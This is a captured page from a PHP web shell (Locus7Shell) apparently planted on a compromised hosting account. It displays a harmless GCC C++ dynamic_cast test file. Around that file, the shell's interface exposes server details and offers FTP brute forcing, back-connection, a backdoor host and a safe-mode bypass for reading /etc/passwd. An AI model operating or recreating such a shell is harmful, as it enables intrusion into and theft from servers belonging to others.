Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/rtti/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     dyncast3.C (1.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// This testcase used to crash while looking in A for my_module.  I'm still
// not sure it's well-formed, but it works now because of the optimization
// to look at the expected address first.

// { dg-do run }

extern "C" int puts (const char *);
extern "C" void abort ();

struct my_object
{
  my_object() { puts ("in my_object ctor");}
  virtual ~my_object() { puts ("in my_object dtor"); }
};

my_object* my_module_ptr = 0;

struct my_module : my_object
{
  my_module()
  {
    puts ("in my_module ctor, setting up ptr");
    my_module_ptr = this;
  }
  ~my_module() { puts ("in my_module dtor");}
};

struct D
{
  D() { puts ("in D ctor"); }
  virtual ~D();
};

D::~D()
{
  puts ("in D dtor");
  puts ("before DCASTing to my_module*");
  my_module* m = dynamic_cast<my_module*>(my_module_ptr);
  if (m != my_module_ptr)
    abort ();
  puts ("after DCASTing to my_module*");
}

struct my_interface
{
  my_interface() { puts ("in my_interface ctor");}
  ~my_interface() { puts ("in my_interface dtor");}
};

struct myif : virtual my_interface
{
  myif() { puts ("in myif ctor");}
  ~myif() { puts ("in myif dtor");}
};

struct A: virtual myif
{
  A() { puts ("in A ctor"); }
  ~A() { puts ("in A dtor"); }

  D d;
};

struct B: virtual myif
{
  B() { puts ("in B ctor"); }
  ~B() { puts ("in B dtor"); }

  D d;
};

struct C : my_module, A, B
{
  C() { puts ("in C ctor");}
  ~C() { puts ("in C dtor"); }
};

int main(int, char**)
{
  C t;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--